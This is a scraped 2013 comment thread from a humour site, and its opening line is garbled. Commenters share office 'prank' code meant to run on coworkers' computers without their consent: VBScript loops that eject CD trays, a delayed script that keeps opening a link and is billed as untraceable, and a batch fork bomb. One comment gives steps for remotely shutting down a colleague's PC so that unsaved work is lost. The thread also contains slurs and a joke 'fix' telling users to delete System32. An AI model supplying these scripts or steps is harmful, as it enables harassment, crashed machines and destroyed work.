wont 2 pinoy a cos-00sf f white sow?. . Work in an office? Want to annoy an colleague? Next Next End If 123993 lump. Here is the text, if someone wants to try it. Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection wscript.sleep 600000 do i
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User avatar #1 - lexxyc (12/01/2013) [+] (19 replies)
Here is the text, if someone wants to try it.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 600000
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i= 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 120000
loop
User avatar #16 - I Am Monkey (12/02/2013) [+] (6 replies)
Instructions were not clear enough.
My dick got caught in the CD tray.
#25 - jakols ONLINE (12/02/2013) [+] (17 replies)
well well well...
finally a post on FJ that's right up my valley.
Most IT departments have logical names for their computers. like a floor prefix or a department prefix, and then a growing number for each computer. so it should be no problem guessing the computername to another computer in your domain.
if you really want to **** **** up, not a forkbomb or a eject script...

> go to CMD
> type shutdown /i (because its easier to use the GUI than typing the whole command)
> enter the name of the computer you wish to take out
> write a message (*eg. faggot-ass ****** )
> set a countdown time
> watch as they panic when the computer locks them out with a big message that goes eg. "your really ****** now faggot..." and the timer counts down to the inevitable shutdown or restart.
> watch them twist and cry when they watch hours of work that just went down the drain because most people are too ******* lazy to save their work every 10-15 minutes.
> feel their hopelessness
> taste their tears
> know for yourself ****** untraceable
> fap
User avatar #7 - studbeefpile ONLINE (12/02/2013) [+] (3 replies)
My brother did something similar to a display computer at a Costco, he entered a script that wouldn't allow you to close the window.
User avatar #15 - evilanakie (12/02/2013) [+] (2 replies)
my school computers have jammed trays
so i did this to them
now you can hear THUNK THUNK WHIR THUNK THUNK
after each computer thunks and whirs the next one thunks and splutters
User avatar #76 - itachijebest (12/02/2013) [+] (1 reply)
thanks for the tip lightbulb, i'll sure try that
User avatar #22 - vladhellsing ONLINE (12/02/2013) [+] (1 reply)
I did this. He just used it as a cup holder for the rest of the day.
User avatar #66 - ImmortalBaconEater (12/02/2013) [-]
Honestly, I trust nothing posted in the comments right now.
#19 - riseandfightfj (12/02/2013) [+] (1 reply)
what is the start up folder? where can i find it.
User avatar #28 - psychedelegate (12/02/2013) [+] (2 replies)
I tried this on my computer to see if it worked. At first, my antivirus blocked it. But it worked after I allowed it to...
User avatar #21 - hongkong ONLINE (12/02/2013) [+] (7 replies)
www.funnyjunk.com/text/3446077/Coding+is+magic/
Similar to this one
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MsgBox "WSCRIPT"
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

While(true)
Randomize
Upperlimit = colCDROMs.Count - 1
Lowerlimit = 0
Rom=Int((upperlimit - lowerlimit + 1)*Rnd() + lowerlimit)
colCDROMs.Item(Rom).Eject
Wend
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#41 to #38 - haganekitsune (12/02/2013) [-]
Exactly. I can only imagine the struggle for the elderly when something computer related goes askew.
Exactly. I can only imagine the struggle for the elderly when something computer related goes askew.
#56 - harleycurnow (12/02/2013) [-]
we need a bunch of these with explanations on what they do and how to stop them. Then we have the ingredients to create a USB stick of havok.
#40 - mastertarium (12/02/2013) [-]
I am going to use this for reasons....
#2 - hillbillypowpow (12/02/2013) [+] (5 replies)
how do you fix it?
#106 - xxxsonic fanxxx (12/02/2013) [-]
Tried it myself and now it's been doing it all the time, first I was glad it worked, now feeling dumb since I pranked myself, please help

pls
User avatar #97 - cryingchicken ONLINE (12/02/2013) [-]
>CD tray
>2013
User avatar #78 - exclamation ONLINE (12/02/2013) [+] (3 replies)
How do you stop this, before i do it?
User avatar #98 to #78 - jewishcommunazi ONLINE (12/02/2013) [-]
Delete System32.
I know it's old, but I still like it.
#13 - RdRunner (12/02/2013) [+] (1 reply)
It is pretty annoying... I tried this awhile back and it worked pretty well, just make sure you figure out how to stop it before creating (and potentially accidentally running) the created file....
#57 - xxxsonic fanxxx (12/02/2013) [+] (3 replies)
Here's one I made myself, that after 12 hours from starting the computer (so you can do the crime, hibernate the PC and leave, and no one will know it was you) will open You need to login to view this link ever 75 seconds.

wscript.sleep 43200000
do
CreateObject("WScript.Shell").Run(" You need to login to view this link )
wscript.sleep 75000
loop
#49 - bobthebean (12/02/2013) [+] (2 replies)
%0|%0

Put this in a batch file (.bat) Its hilarious.
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